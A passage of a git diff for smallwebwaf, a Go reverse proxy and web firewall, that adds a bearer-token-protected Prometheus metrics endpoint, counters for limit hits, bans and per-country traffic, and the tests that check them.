%d, want %d", s.sent+1, from, got, - status) + if got.status != status { + s.t.Errorf("request %d, from %s: status %d, want %d", s.sent+1, from, + got.status, status) } line := s.out.requestLines(s.t, s.sent+1)[s.sent] s.sent++ wantLine(s.t, line, status, action) - return line + return line, string(got.body) } diff --git a/internal/proxy/bodies.go b/internal/proxy/bodies.go index c9b223f..d4c23ae 100644 --- a/internal/proxy/bodies.go +++ b/internal/proxy/bodies.go @@ -46,6 +46,7 @@ func (b *requestBody) Read(p []byte) (int, error) { b.rq.refuse(refusal{ status: http.StatusRequestEntityTooLarge, action: requestlog.ActionTooLarge, + limit: "SWWAF_REQUEST_MAX_BYTES", }) } @@ -81,6 +82,7 @@ func (b *responseBody) Read(p []byte) (int, error) { b.rq.refuse(refusal{ status: http.StatusBadGateway, action: requestlog.ActionTooLarge, + limit: "SWWAF_RESPONSE_MAX_BYTES", }) return n, errResponseTooLarge diff --git a/internal/proxy/history_test.go b/internal/proxy/history_test.go index 942185e..29550e6 100644 --- a/internal/proxy/history_test.go +++ b/internal/proxy/history_test.go @@ -86,6 +86,27 @@ func TestHealthEndpointIsNotInTheHistory(t *testing.T) { } } +func TestRequestForSmallwebwafIsRefusedOnlyWithoutTheToken(t *testing.T) { + t.Parallel() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, + map[string]string{metricsToken: token}) + + // The metrics and the 404 are neither forwarded nor refused; the 401 + // is refused. + scrape(t, addr) + wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound) + wantStatus(t, get(t, addr, proxy.MetricsPath), http.StatusUnauthorized) + out.requestLines(t, 3) + + history := historyOf(t, server, localhost) + if history.Requests != 3 || history.Forwarded != 0 || history.Refused != 1 { + t.Errorf("history counts %d requests, %d forwarded and %d refused, "+ + "want 3, 0 and 1", history.Requests, history.Forwarded, history.Refused) + } +} + // historyOf returns the history of the client at addr. func historyOf(t *testing.T, server *proxy.Server, addr string) ratelimit.History { t.Helper() diff --git a/internal/proxy/limits_test.go b/internal/proxy/limits_test.go index b86c4b9..1f7efe3 100644 --- a/internal/proxy/limits_test.go +++ b/internal/proxy/limits_test.go @@ -55,6 +55,7 @@ func TestRequestBodyLimit(t *testing.T) { }) addr, out := startProxy(t, app.URL, map[string]string{ requestMaxBytes: sizeLimitSetting, + metricsToken: token, }) var body io.Reader = bytes.NewReader(make([]byte, tc.size)) @@ -66,6 +67,13 @@ func TestRequestBodyLimit(t *testing.T) { tc.want) wantLine(t, out.requestLine(t), tc.want, tc.action) + hits := 0 + if tc.action == requestlog.ActionTooLarge { + hits = 1 + } + + wantLimitHits(t, addr, requestMaxBytes, hits) + if tc.refusedBeforeApp && calls.Load() != 0 { t.Errorf("the app was called %d times, want never", calls.Load()) } @@ -106,6 +114,7 @@ func TestResponseBodyLimit(t *testing.T) { }) addr, out := startProxy(t, app.URL, map[string]string{ responseMaxBytes: sizeLimitSetting, + metricsToken: token, }) got := get(t, addr, "/download") @@ -123,6 +132,13 @@ func TestResponseBodyLimit(t *testing.T) { if line.UpstreamStatus != http.StatusOK { t.Errorf("log line has upstream_status %d", line.UpstreamStatus) } + + hits := 0 + if tc.action == requestlog.ActionTooLarge { + hits = 1 + } + + wantLimitHits(t, addr, responseMaxBytes, hits) }) } } diff --git a/internal/proxy/metrics_test.go b/internal/proxy/metrics_test.go new file mode 100644 index 0000000..6765f2e --- /dev/null +++ b/internal/proxy/metrics_test.go @@ -0,0 +1,455 @@ +package proxy_test + +import ( + "io" + "net/http" + "net/http/httptest" + "net/netip" + "strconv" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/lookup" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +const ( + metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name + metricsTopN = "SWWAF_METRICS_TOP_N" + // token is the SWWAF_METRICS_TOKEN the tests set, and bearer how a + // request carries it. + token = "0123456789abcdef0123456789abcdef" + bearer = "Bearer " + token +) + +func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) { + t.Parallel() + + var calls atomic.Int32 + + app := startApp(t, func(http.ResponseWriter, *http.Request) { + calls.Add(1) + }) + addr, out := startProxy(t, app.URL, nil) + + // An empty token does not match the unset one either. + for i, authorization := range []string{bearer, "Bearer ", ""} { + req := newRequest(t, http.MethodGet, addr, proxy.MetricsPath, http.NoBody) + if authorization != "" { + req.Header.Set("Authorization", authorization) + } + + wantStatus(t, do(t, req), http.StatusNotFound) + wantLine(t, out.requestLines(t, i+1)[i], http.StatusNotFound, + requestlog.ActionAdmin) + } + + if calls.Load() != 0 { + t.Errorf("the app was called %d times, want never", calls.Load()) + } +} + +func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) { + t.Parallel() + + var calls atomic.Int32 + + app := startApp(t, func(http.ResponseWriter, *http.Request) { + calls.Add(1) + }) + addr, out := startProxy(t, app.URL, map[string]string{metricsToken: token}) + + for i, tc := range []struct { + method, path, authorization string + status int + }{ + {http.MethodGet, proxy.MetricsPath, "", http.StatusUnauthorized}, + { + http.MethodGet, proxy.MetricsPath, "Bearer " + strings.ToUpper(token), + http.StatusUnauthorized, + }, + {http.MethodGet, proxy.MetricsPath, "Basic " + token, http.StatusUnauthorized}, + {http.MethodGet, proxy.MetricsPath, bearer, http.StatusOK}, + {http.MethodGet, proxy.MetricsPath, "bearer " + token, http.StatusOK}, + {http.MethodPost, proxy.MetricsPath, bearer, http.StatusNotFound}, + {http.MethodGet, proxy.MetricsPath + "/", bearer, http.StatusNotFound}, + {http.MethodGet, "/_smallwebwaf/bans", bearer, http.StatusNotFound}, + {http.MethodPost, proxy.HealthPath, "", http.StatusNotFound}, + } { + req := newRequest(t, tc.method, addr, tc.path, http.NoBody) + if tc.authorization != "" { + req.Header.Set("Authorization", tc.authorization) + } + + got := do(t, req) + wantStatus(t, got, tc.status) + wantLine(t, out.requestLines(t, i+1)[i], tc.status, requestlog.ActionAdmin) + + if tc.status == http.StatusUnauthorized && + got.header.Get("WWW-Authenticate") != "Bearer" { + t.Errorf("%q was answered without WWW-Authenticate: Bearer", + tc.authorization) + } + + if tc.status == http.StatusOK && + !strings.Contains(string(got.body), "# TYPE smallwebwaf_requests_total counter") { + t.Errorf("the metrics are\n%s", got.body) + } + } + + if calls.Load() != 0 { + t.Errorf("the app was called %d times, want never", calls.Load()) + } +} + +func TestMetricsAreAskedForThroughTheChecks(t *testing.T) { + t.Parallel() + + s, _, _ := startWithClock(t, "", map[string]string{ + metricsToken: token, + rateLimitPerMinute: "1", + }) + + // Asking for the metrics counts toward the client's limit of one + // request a minute, so its next request breaks it, and bans it. A + // banned client is refused the metrics too. + s.scrape(client) + s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) + s.requestWithHeader(client, proxy.MetricsPath, "Authorization: "+bearer, + http.StatusForbidden, requestlog.ActionBanned) +} + +func TestMetricsCountTheTraffic(t *testing.T) { + t.Parallel() + + arrived, release := make(chan struct{}), make(chan struct{}) + app := startApp(t, func(w http.ResponseWriter, r *http.Request) { + _, _ = io.Copy(io.Discard, r.Body) + + if r.URL.Path == "/held" { + close(arrived) + <-release + } + + _, _ = io.WriteString(w, "hello") + }) + releaseApp := sync.OnceFunc(func() { close(release) }) + t.Cleanup(releaseApp) + + addr, out := startProxy(t, app.URL, map[string]string{metricsToken: token}) + + got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))) + wantStatus(t, got, http.StatusOK) + wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound) + out.requestLines(t, 2) + + forward := `{action="forward",status_class="2xx"}` + notFound := `{action="admin",status_class="4xx"}` + + // The request for the metrics is itself under way. + metrics := scrape(t, addr) + wantMetric(t, metrics, "smallwebwaf_requests_total"+forward, 1) + wantMetric(t, metrics, "smallwebwaf_requests_total"+notFound, 1) + wantMetric(t, metrics, "smallwebwaf_request_bytes_total"+forward, 3) + wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+forward, 5) + wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+notFound, + float64(len("Not Found\n"))) + wantMetric(t, metrics, "smallwebwaf_request_duration_seconds_count", 2) + wantMetric(t, metrics, "smallwebwaf_upstream_duration_seconds_count", 1) + wantMetric(t, metrics, "smallwebwaf_requests_in_flight", 1) + metric(t, metrics, "go_goroutines") + metric(t, metrics, "process_start_time_seconds") + + // A request the app holds is under way until it ends. + httpClient := newClient(t) + held := newRequest(t, http.MethodGet, addr, "/held", http.NoBody) + ended := make(chan error, 1) + + go func() { + res, err := httpClient.Do(held) + if err == nil { + err = readAnswer(res).err + } + + ended <- err + }() + + <-arrived + wantMetric(t, scrape(t, addr), "smallwebwaf_requests_in_flight", 2) + releaseApp() + + err := <-ended + if err != nil { + t.Fatalf("held request: %v", err) + } + + out.requestLines(t, 5) + wantMetric(t, scrape(t, addr), "smallwebwaf_requests_in_flight", 1) +} + +func TestMetricsCountLimitsAndBans(t *testing.T) { + t.Parallel() + + const ( + scraper = "192.0.2.200" // in SWWAF_RATE_LIMIT_EXEMPT_NETS + denied = "192.0.2.50" // in SWWAF_DENY_NETS + ) + + s, clk, _ := startWithClock(t, "", map[string]string{ + metricsToken: token, + rateLimitPerMinute: "1", + rateLimitExemptNets: scraper, + denyNets: denied, + banResponse: "close", + limitBanDuration: "1h", + maxBanDuration: "2h", + }) + + // SWWAF_BAN_RESPONSE=close sends no status at all. + s.get(denied, 0, requestlog.ActionDenied) + + // A first broken limit bans for an hour. + s.get(client, http.StatusOK, requestlog.ActionForward) + s.get(client, 0, requestlog.ActionRateLimited) + + metrics := s.scrape(scraper) + wantMetric(t, metrics, + `smallwebwaf_requests_total{action="denied",status_class="none"}`, 1) + wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{window="minute"}`, 1) + wantMetric(t, metrics, `smallwebwaf_offences_total{kind="limit"}`, 1) + wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit"}`, 1) + wantMetric(t, metrics, "smallwebwaf_active_bans", 1) + wantMetric(t, metrics, "smallwebwaf_permanent_bans", 0) + + clk.advance(time.Hour) + wantMetric(t, s.scrape(scraper), "smallwebwaf_active_bans", 0) + + // A limit broken again right after would ban for three hours, longer + // than SWWAF_MAX_BAN_DURATION, so the ban is permanent. + s.get(client, http.StatusOK, requestlog.ActionForward) + s.get(client, 0, requestlog.ActionRateLimited) + + metrics = s.scrape(scraper) + wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{window="minute"}`, 2) + wantMetric(t, metrics, `smallwebwaf_offences_total{kind="limit"}`, 2) + wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit"}`, 2) + wantMetric(t, metrics, "smallwebwaf_active_bans", 1) + wantMetric(t, metrics, "smallwebwaf_permanent_bans", 1) + // denied, client, and the scraper as of its earlier requests. + wantMetric(t, metrics, "smallwebwaf_tracked_clients", 3) +} + +func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { + t.Parallel() + + const fromFR = "198.51.100.20" + + app := startApp(t, func(w http.ResponseWriter, r *http.Request) { + _, _ = io.Copy(io.Discard, r.Body) + _, _ = io.WriteString(w, "hello") + }) + env := map[string]string{ + trustedProxies: trustLocalhost, + metricsToken: token, + metricsTopN: "2", + deniedCountries: "kp", + } + addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, env) + + // The answers are kept before the requests, so that none waits for + // GeoJS. + server.GeoJS.Load([]lookup.Answer{ + keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"), + }) + + lines := 0 + send := func(from string, times, status int) { + t.Helper() + + for range times { + req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")) + req.Header.Set(forwardedFor, from) + wantStatus(t, do(t, req), status) + + // Each is counted before the next is sent, so that the + // countries are ranked in the order sent. + lines++ + out.requestLines(t, lines) + } + } + + // With two countries of their own, the third is counted as other. + send(fromKP, 3, http.StatusForbidden) + send(fromDE, 2, http.StatusOK) + send(fromFR, 1, http.StatusOK) + + metrics := scrape(t, addr) + lines++ + + wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="KP"}`, 3) + wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="DE"}`, 2) + wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="other"}`, 1) + wantMetric(t, metrics, `smallwebwaf_country_list_refusals_total{country="KP"}`, 3) + wantMetric(t, metrics, `smallwebwaf_country_request_bytes_total{country="KP"}`, 0) + wantMetric(t, metrics, `smallwebwaf_country_request_bytes_total{country="DE"}`, 6) + wantMetric(t, metrics, `smallwebwaf_country_response_bytes_total{country="KP"}`, + float64(3*len("Forbidden\n"))) + wantMetric(t, metrics, `smallwebwaf_country_response_bytes_total{country="other"}`, + float64(len("hello"))) + wantNoSeries(t, metrics, `smallwebwaf_country_requests_total{country="FR"}`) + + // Once FR is busier than DE, it takes DE's place: its series counts + // from then on, and DE's is gone. + send(fromFR, 3, http.StatusOK) + + metrics = scrape(t, addr) + wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="KP"}`, 3) + wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="FR"}`, 2) + wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="other"}`, 2) + wantNoSeries(t, metrics, `smallwebwaf_country_requests_total{country="DE"}`) + wantNoSeries(t, metrics, `smallwebwaf_country_request_bytes_total{country="DE"}`) +} + +func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) { + t.Parallel() + + geojs := httptest.NewServer(http.HandlerFunc( + func(w http.ResponseWriter, _ *http.Request) { + w.WriteHeader(http.StatusServiceUnavailable) + })) + t.Cleanup(geojs.Close) + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{ + trustedProxies: trustLocalhost, + metricsToken: token, + deniedCountries: "kp", + }) + + // GeoJS fails, so the client counts as coming from an unknown country, + // which SWWAF_DENIED_COUNTRIES does not refuse. + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + req.Header.Set(forwardedFor, fromDE) + wantStatus(t, do(t, req), http.StatusOK) + + // The client stops waiting for GeoJS after a second, so GeoJS's + // failure can come after its request has ended. + deadline := time.Now().Add(waitLimit) + metrics := scrape(t, addr) + + for metric(t, metrics, "smallwebwaf_geojs_failures_total") == 0 && + time.Now().Before(deadline) { + time.Sleep(pollInterval) + + metrics = scrape(t, addr) + } + + wantMetric(t, metrics, "smallwebwaf_geojs_requests_total", 1) + wantMetric(t, metrics, "smallwebwaf_geojs_failures_total", 1) + wantMetric(t, metrics, "smallwebwaf_geojs_unanswered_total", 1) +} + +// keptAnswer returns GeoJS's answer that the client at addr is in +// country, given now. +func keptAnswer(addr, country string) lookup.Answer { + now := time.Now() + + return lookup.Answer{ + Client: netip.MustParsePrefix(addr + "/32"), Country: country, + Answered: now, Used: now, + } +} + +// scrape asks smallwebwaf at addr for the metrics, with the token, and +// returns them. +func scrape(t *testing.T, addr string) string { + t.Helper() + + req := newRequest(t, http.MethodGet, addr, proxy.MetricsPath, http.NoBody) + req.Header.Set("Authorization", bearer) + + got := do(t, req) + if got.status != http.StatusOK { + t.Fatalf("the metrics were answered %d", got.status) + } + + return string(got.body) +} + +// scrape asks for the metrics, with the token, from the client at from, +// and returns them. +func (s *sender) scrape(from string) string { + s.t.Helper() + + _, metrics := s.requestWithHeader(from, proxy.MetricsPath, "Authorization: "+bearer, + http.StatusOK, requestlog.ActionAdmin) + + return metrics +} + +// metric returns the value of series in metrics, which are in the +// Prometheus text format. series is a name and its labels in the order of +// their names, such as smallwebwaf_offences_total{kind="limit"}. It fails +// the test if there is no such series. +func metric(t *testing.T, metrics, series string) float64 { + t.Helper() + + for line := range strings.Lines(metrics) { + value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ") + if !found { + continue + } + + number, err := strconv.ParseFloat(value, 64) + if err != nil { + t.Fatalf("%s has the value %q", series, value) + } + + return number + } + + t.Fatalf("no series %s in the metrics:\n%s", series, metrics) + + return 0 +} + +// wantMetric checks the value of series in metrics, as metric reads it. +func wantMetric(t *testing.T, metrics, series string, want float64) { + t.Helper() + + got := metric(t, metrics, series) + if got != want { + t.Errorf("%s is %v, want %v", series, got, want) + } +} + +// wantNoSeries checks that metrics have no series series. +func wantNoSeries(t *testing.T, metrics, series string) { + t.Helper() + + if strings.Contains(metrics, "\n"+series+" ") { + t.Errorf("there is a series %s", series) + } +} + +// wantLimitHits checks that the metrics of smallwebwaf at addr count hits +// requests that passed the size or time limit of the setting limit, with +// no series for it when hits is 0. +func wantLimitHits(t *testing.T, addr, limit string, hits int) { + t.Helper() + + series := `smallwebwaf_size_and_time_limit_hits_total{limit="` + limit + `"}` + metrics := scrape(t, addr) + + if hits == 0 { + wantNoSeries(t, metrics, series) + + return + } + + wantMetric(t, metrics, series, float64(hits)) +} diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index ea02a9b..2c9bf13 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -8,11 +8,13 @@ import ( "log" "log/slog" "net/http" + "strings" "time" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/lookup" + "sneak.berlin/go/smallwebwaf/internal/metrics" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" ) @@ -23,10 +25,18 @@ const ( appIdleConnTimeout = 90 * time.Second ) +// adminPrefix starts the path of every request for smallwebwaf itself, +// which never reaches the app. +const adminPrefix = "/_smallwebwaf/" + // HealthPath is smallwebwaf's health endpoint, which the container's // health check asks. const HealthPath = "/_smallwebwaf/healthz" +// MetricsPath is where the metrics are, for a request that carries +// SWWAF_METRICS_TOKEN. +const MetricsPath = "/_smallwebwaf/metrics" + // Params are what New needs. type Params struct { Config *config.Config @@ -44,13 +54,14 @@ type Params struct { } // Server is the server smallwebwaf runs, with the parts of the proxy -// whose state the state files keep. +// whose state the state files keep, and the metrics. type Server struct { *http.Server Ledger *bans.Ledger Limiter *ratelimit.Limiter GeoJS *lookup.GeoJS + Metrics *metrics.Metrics } // New returns the server smallwebwaf runs: each request it reads passes @@ -61,6 +72,7 @@ type Server struct { // applies the timeouts and size limits from then on. func New(params Params) *Server { errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn) + m := metrics.New(params.Config.MetricsTopN) h := &handler{ config: params.Config, requestLog: params.RequestLog, @@ -68,6 +80,7 @@ func New(params Params) *Server { errorLog: errorLog, transport: newTransport(), now: params.Now, + metrics: m, limiter: ratelimit.New(ratelimit.Limits{ PerMinute: params.Config.RateLimitPerMinute, PerHour: params.Config.RateLimitPerHour, @@ -83,8 +96,10 @@ func New(params Params) *Server { URL: params.GeoJSURL, Now: params.Now, ProcessLog: params.ProcessLog, + Metrics: m, }), } + m.AddBansAndClients(h.ledger, h.limiter, params.Now) return &Server{ Server: &http.Server{ @@ -102,6 +117,7 @@ func New(params Params) *Server { Ledger: h.ledger, Limiter: h.limiter, GeoJS: h.geojs, + Metrics: m, } } @@ -114,6 +130,7 @@ type handler struct { errorLog *log.Logger transport http.RoundTripper now func() time.Time + metrics *metrics.Metrics limiter *ratelimit.Limiter ledger *bans.Ledger geojs *lookup.GeoJS @@ -133,7 +150,8 @@ func newTransport() *http.Transport { // ServeHTTP handles one request: it works out the client, runs the // checks, passes the request to the app and the answer back within the -// limits, and writes the request's log line. +// limits, or answers it itself if it is for smallwebwaf, and writes the +// request's log line. func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { rq := h.newRequest(w, r) defer rq.finish() @@ -157,5 +175,13 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { return } + // A request for smallwebwaf itself is answered where another would be + // passed to the app, so that it goes through every check first. + if strings.HasPrefix(r.URL.Path, adminPrefix) { + rq.answerAdmin() + + return + } + rq.forward(r.Context()) } diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 4c5f370..31fdb5c 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -22,11 +22,13 @@ const flushAfterEachWrite time.Duration = -1 // refusal is smallwebwaf refusing a request, or refusing to go on with it: // the status the client is answered if the response has not started yet, -// 0 to close the connection without an answer, and the action the log -// line names. +// 0 to close the connection without an answer, the action the log line +// names, and the setting whose size or time limit the request passed, if +// that is why. type refusal struct { status int action string + limit string } // request is one request on its way through smallwebwaf, from the moment @@ -65,9 +67,11 @@ type request struct { requestSent time.Time } -// newRequest starts handling r: it notes the time and works out the -// client. +// newRequest starts handling r: it notes the time, counts the request as +// under way, and works out the client. func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { + h.metrics.RequestStarted() + start := time.Now() peer := peerAddress(r) trusted := h.config.TrustedProxies @@ -141,6 +145,7 @@ func (rq *request) check(ctx context.Context) *refusal { return &refusal{ status: http.StatusRequestEntityTooLarge, action: requestlog.ActionTooLarge, + limit: "SWWAF_REQUEST_MAX_BYTES", } } @@ -206,7 +211,11 @@ func (rq *request) modifyResponse(res *http.Response) error { maxBytes := rq.h.config.ResponseMaxBytes if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes { - rq.refuse(refusal{status: http.StatusBadGateway, action: requestlog.ActionTooLarge}) + rq.refuse(refusal{ + status: http.StatusBadGateway, + action: requestlog.ActionTooLarge, + limit: "SWWAF_RESPONSE_MAX_BYTES", + }) return errResponseTooLarge } @@ -278,7 +287,8 @@ func (rq *request) refuse(r refusal) { rq.cancel() } -// finish ends the request's timeouts and writes its log line. +// finish ends the request's timeouts, counts it in the metrics and writes +// its log line. func (rq *request) finish() { rq.stopTimers() @@ -295,24 +305,37 @@ func (rq *request) finish() { line.RequestBytes = rq.body.bytes.Load() } + // limit is the setting whose size or time limit the request passed. + var limit string + switch { case refused != nil: line.Action = refused.action + limit = refused.limit case errors.Is(rq.out.err, os.ErrDeadlineExceeded): // The client took longer than SWWAF_CLIENT_RESPONSE_TIMEOUT to // take the response. line.Action = requestlog.ActionTimedOut + limit = "SWWAF_CLIENT_RESPONSE_TIMEOUT" case !rq.complete && (rq.out.err != nil || rq.in.Context().Err() != nil): line.Aborted = true } now := time.Now() - line.DurationTotal = requestlog.Milliseconds(now.Sub(rq.start)) + duration := now.Sub(rq.start) + line.DurationTotal = requestlog.Milliseconds(duration) + + var upstreamDuration time.Duration if !rq.upstreamStart.IsZero() { - line.DurationUpstreamTotal = requestlog.Milliseconds(now.Sub(rq.upstreamStart)) + upstreamDuration = now.Sub(rq.upstreamStart) + line.DurationUpstreamTotal = requestlog.Milliseconds(upstreamDuration) } + // Counted before the log line is written, so that the metrics count + // every request whose line is out. + rq.h.metrics.RequestEnded(line, limit, duration, upstreamDuration) + err := requestlog.Write(rq.h.requestLog, line) if err != nil { rq.h.processLog.Error("writing the request log failed", "error", err.Error()) @@ -327,9 +350,12 @@ func (rq *request) addToHistory() { requestBytes = rq.body.bytes.Load() } + forwarded := !rq.upstreamStart.IsZero() + rq.h.limiter.AddToHistory(clientGroup(rq.client), rq.h.now(), ratelimit.Request{ Country: rq.line.Country, - Forwarded: !rq.upstreamStart.IsZero(), + Forwarded: forwarded, + Refused: !forwarded && rq.refused.Load() != nil, Status: rq.out.status, RequestBytes: requestBytes, ResponseBytes: rq.out.bytes, @@ -369,21 +395,26 @@ func (rq *request) startRequestTimers() { if rq.body != nil && rq.h.config.ClientRequestTimeout > 0 { rq.clientRequestTimer = time.AfterFunc( - time.Until(rq.clientRequestDeadline()), rq.requestTimedOut) + time.Until(rq.clientRequestDeadline()), func() { + rq.requestTimedOut("SWWAF_CLIENT_REQUEST_TIMEOUT") + }) } timeout := rq.h.config.UpstreamRequestTimeout if timeout > 0 { - rq.upstreamRequestTimer = time.AfterFunc(timeout, rq.requestTimedOut) + rq.upstreamRequestTimer = time.AfterFunc(timeout, func() { + rq.requestTimedOut("SWWAF_UPSTREAM_REQUEST_TIMEOUT") + }) } } -// requestTimedOut is called when a request timeout runs out while the -// request is still on its way to the app. The answer names the side -// smallwebwaf was waiting on at that moment: 408 when it was waiting for -// the client to send more of its body, 504 when it was waiting for the -// app to be reached or to take what it had. -func (rq *request) requestTimedOut() { +// requestTimedOut is called when limit, SWWAF_CLIENT_REQUEST_TIMEOUT or +// SWWAF_UPSTREAM_REQUEST_TIMEOUT, runs out while the request is still on +// its way to the app. The answer names the side smallwebwaf was waiting +// on at that moment: 408 when it was waiting for the client to send more +// of its body, 504 when it was waiting for the app to be reached or to +// take what it had. +func (rq *request) requestTimedOut(limit string) { rq.mu.Lock() defer rq.mu.Unlock() @@ -395,6 +426,7 @@ func (rq *request) requestTimedOut() { rq.refuse(refusal{ status: http.StatusGatewayTimeout, action: requestlog.ActionTimedOut, + limit: limit, }) return @@ -403,6 +435,7 @@ func (rq *request) requestTimedOut() { rq.refuse(refusal{ status: http.StatusRequestTimeout, action: requestlog.ActionTimedOut, + limit: limit, }) // The transport gives up on the app only once its Read of the // client's body returns, so that Read is ended now. The lock keeps @@ -452,6 +485,7 @@ func (rq *request) responseTimedOut() { rq.refuse(refusal{ status: http.StatusGatewayTimeout, action: requestlog.ActionTimedOut, + limit: "SWWAF_UPSTREAM_RESPONSE_TIMEOUT", }) } } diff --git a/internal/proxy/timeouts_test.go b/internal/proxy/timeouts_test.go index 56abe5f..dab7791 100644 --- a/internal/proxy/timeouts_test.go +++ b/internal/proxy/timeouts_test.go @@ -28,7 +28,9 @@ func TestRequestTimeouts(t *testing.T) { for _, tc := range []struct { name string - env map[string]string + // limit is the setting set to shortTimeout, which runs out; long + // is one set to longTimeoutSetting, which does not, or "". + limit, long string // appTakesNothing has the app never read, while the client sends // as fast as it can; otherwise the app reads, and the client // stops sending halfway. @@ -36,30 +38,26 @@ func TestRequestTimeouts(t *testing.T) { want int }{ { - name: "client request timeout, waiting on the client", - env: map[string]string{clientRequestTimeout: shortTimeoutSetting}, - want: http.StatusRequestTimeout, + name: "client request timeout, waiting on the client", + limit: clientRequestTimeout, + want: http.StatusRequestTimeout, }, { - name: "upstream request timeout, waiting on the client", - env: map[string]string{ - upstreamRequestTimeout: shortTimeoutSetting, - clientRequestTimeout: longTimeoutSetting, - }, - want: http.StatusRequestTimeout, + name: "upstream request timeout, waiting on the client", + limit: upstreamRequestTimeout, + long: clientRequestTimeout, + want: http.StatusRequestTimeout, }, { name: "upstream request timeout, waiting on the app", - env: map[string]string{upstreamRequestTimeout: shortTimeoutSetting}, + limit: upstreamRequestTimeout, appTakesNothing: true, want: http.StatusGatewayTimeout, }, { - name: "client request timeout, waiting on the app", - env: map[string]string{ - clientRequestTimeout: shortTimeoutSetting, - upstreamRequestTimeout: longTimeoutSetting, - }, + name: "client request timeout, waiting on the app", + limit: clientRequestTimeout, + long: upstreamRequestTimeout, appTakesNothing: true, want: http.StatusGatewayTimeout, }, @@ -84,7 +82,12 @@ func TestRequestTimeouts(t *testing.T) { appURL, sendRequest = app.URL, sendPartOfBody } - addr, out := startProxy(t, appURL, tc.env) + env := map[string]string{tc.limit: shortTimeoutSetting, metricsToken: token} + if tc.long != "" { + env[tc.long] = longTimeoutSetting + } + + addr, out := startProxy(t, appURL, env) start := time.Now() got := readResponse(t, sendRequest(t, addr)) wantTimedOut(t, start) @@ -105,6 +108,7 @@ func TestRequestTimeouts(t *testing.T) { wantStatus(t, got, want) wantLine(t, out.requestLine(t), want, requestlog.ActionTimedOut) + wantLimitHits(t, addr, tc.limit, 1) }) } } @@ -198,6 +202,7 @@ func TestAppTooSlowToAnswer(t *testing.T) { }) addr, out := startProxy(t, app.URL, map[string]string{ upstreamResponseTimeout: shortTimeoutSetting, + metricsToken: token, }) start := time.Now() @@ -213,6 +218,8 @@ func TestAppTooSlowToAnswer(t *testing.T) { t.Errorf("log line has upstream_status %v for an app that never answered", line.fields["upstream_status"]) } + + wantLimitHits(t, addr, upstreamResponseTimeout, 1) } func TestAppTooSlowToFinishItsAnswer(t *testing.T) { @@ -261,6 +268,7 @@ func TestClientTooSlowToTakeTheAnswer(t *testing.T) { }) addr, out := startProxy(t, app.URL, map[string]string{ clientResponseTimeout: shortTimeoutSetting, + metricsToken: token, }) start := time.Now() @@ -272,6 +280,7 @@ func TestClientTooSlowToTakeTheAnswer(t *testing.T) { line := out.requestLine(t) wantTimedOut(t, start) wantLine(t, line, http.StatusOK, requestlog.ActionTimedOut) + wantLimitHits(t, addr, clientResponseTimeout, 1) } func TestClosesAnIdleConnection(t *testing.T) { diff --git a/internal/ratelimit/history_test.go b/internal/ratelimit/history_test.go index 1c621d8..55ff667 100644 --- a/internal/ratelimit/history_test.go +++ b/internal/ratelimit/history_test.go @@ -19,26 +19,29 @@ func TestHistoryKeepsEveryRequest(t *testing.T) { {Country: "DE", Forwarded: true, Status: 200, RequestBytes: 10, ResponseBytes: 100}, {Forwarded: true, Status: 101}, {Forwarded: true, Status: 304, RequestBytes: 5}, - {Country: "FR", Status: 403, ResponseBytes: 10, BrokeLimit: true}, + {Country: "FR", Refused: true, Status: 403, ResponseBytes: 10, BrokeLimit: true}, {Forwarded: true, Status: 502, ResponseBytes: 12}, // Closed without an answer: refused, and no response. - {Status: 0}, + {Refused: true, Status: 0}, + // Answered 404 at smallwebwaf's own endpoints: neither forwarded + // nor refused. + {Status: 404}, } { limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r) } want := ratelimit.History{ FirstSeen: start, - LastSeen: start.Add(5 * time.Minute), + LastSeen: start.Add(6 * time.Minute), 